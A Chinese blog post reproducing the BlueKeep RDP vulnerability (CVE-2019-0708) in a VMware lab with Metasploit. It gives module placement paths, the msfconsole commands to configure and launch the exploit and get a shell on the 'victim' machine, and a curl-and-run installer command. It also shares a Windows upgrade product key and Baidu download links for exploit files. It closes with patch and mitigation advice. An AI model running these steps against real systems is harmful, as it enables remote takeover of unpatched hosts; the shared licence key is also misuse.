CVE-2019-0708 RDP MSF漏洞利用

CVE-2019-0708 RDP MSF漏洞复现

漏洞环境

使用 VMware 安装Windows7 X64 模拟受害机

Windows7 X64下载链接:链接: https://pan.baidu.com/s/1A_b2PCbzInKx3hMkUz1xUg 提取码: fiwx 

 

EXP

kali msf 攻击准备:

1,metasploit-framework, kali msf  需更新到最新版本,如果正常打开输入:msfupdate 进行更新,如果启动msf报错,可以卸载重新安装:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

2,MSF 下载 Reference 中的攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可) 。

链接: https://pan.baidu.com/s/1m1N0RLBhLRTMLy56DFke-g 提取码: kw7b

rdp.rb   ->   /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb   ->   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

window7 X64 攻击准备:

1,如果下载到的Win7 X64是家庭普通版,是需要升级到旗舰版或者专业版,因为家庭普通版是没有远程连接这个功能的。

 

点击开始,找到Windows Anytime Upgrade

这里输入密钥:6K2KY-BFH24-PJW6W-9GK29-TMPWP

下一步 ,验证密钥,等待验证密钥。如果密钥验证成功,会出现请接受许可条款,如果密钥验证不成功,则下面的步骤不可用,那可以返回,重新在网上找升级密钥,直至密钥验证成功。点我接受,升级系统大概花10分钟的时间,联网升级,在升级过程中,电脑会重启数次,认真等待。

2,开启3389端口,允许远程桌面连接;修改高级共享设置,默认是关闭的;

启动远程桌面服务,默认是禁止的;

修改防火墙设置,增加一条允许连接tcp 3389端口的出站入站记录;

这样就可以开启远程连接了,一般是允许远程桌面连接和启动远程桌面服务就可以了,如果仍然不行的话就把上面的准备全部操作一遍。

 

进行攻击:

使用 msfconsole 进入 metasploit-framework

进入以后使用 reload_all 重新加载 0708rdp 利用模块

使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 启用 0708RDP 攻击模块

使用 show options 查看相关信息和设置

 

关键设置主要为 RHOSTS / RPORT / target

set RHOSTS 受害机IP设置受害机IP

set RPORT 受害机PORT设置受害机RDP端口号

set target ID数字(可选为0-4)设置受害机机器架构

使用的是VMware,那么 target 2 满足条件

使用 exploit 开始攻击,等待建立连接

建立连接以后,使用 shell 获得shell,再使用 python 获得交互式 shell 

完成攻击,成功拿到受害者主机权限。

打完收工。

Reference

https://github.com/rapid7/metasploit-framework/pull/12283/files

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

https://pan.baidu.com/s/1A_b2PCbzInKx3hMkUz1xUg 提取码: fiwx 

https://pan.baidu.com/s/1m1N0RLBhLRTMLy56DFke-g 提取码: kw7b

参考自清水师傅的文章(https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961)

 

受影响Windows系统版本:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

修复方法:微软已经于2019年05月4日发布了漏洞补丁,请进行相关升级:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
Windows XP 及Windows 2003可以在以下链接下载补丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708

临时解决方案
1、如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。
2、在网络外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。
3、禁用远程桌面服务。
 
 
本文链接(https://www.cnblogs.com/Oran9e/p/11479575.html),转载请注明。
posted on 2019-09-07 10:57  Oran9e  阅读(14290)  评论(0编辑  收藏  举报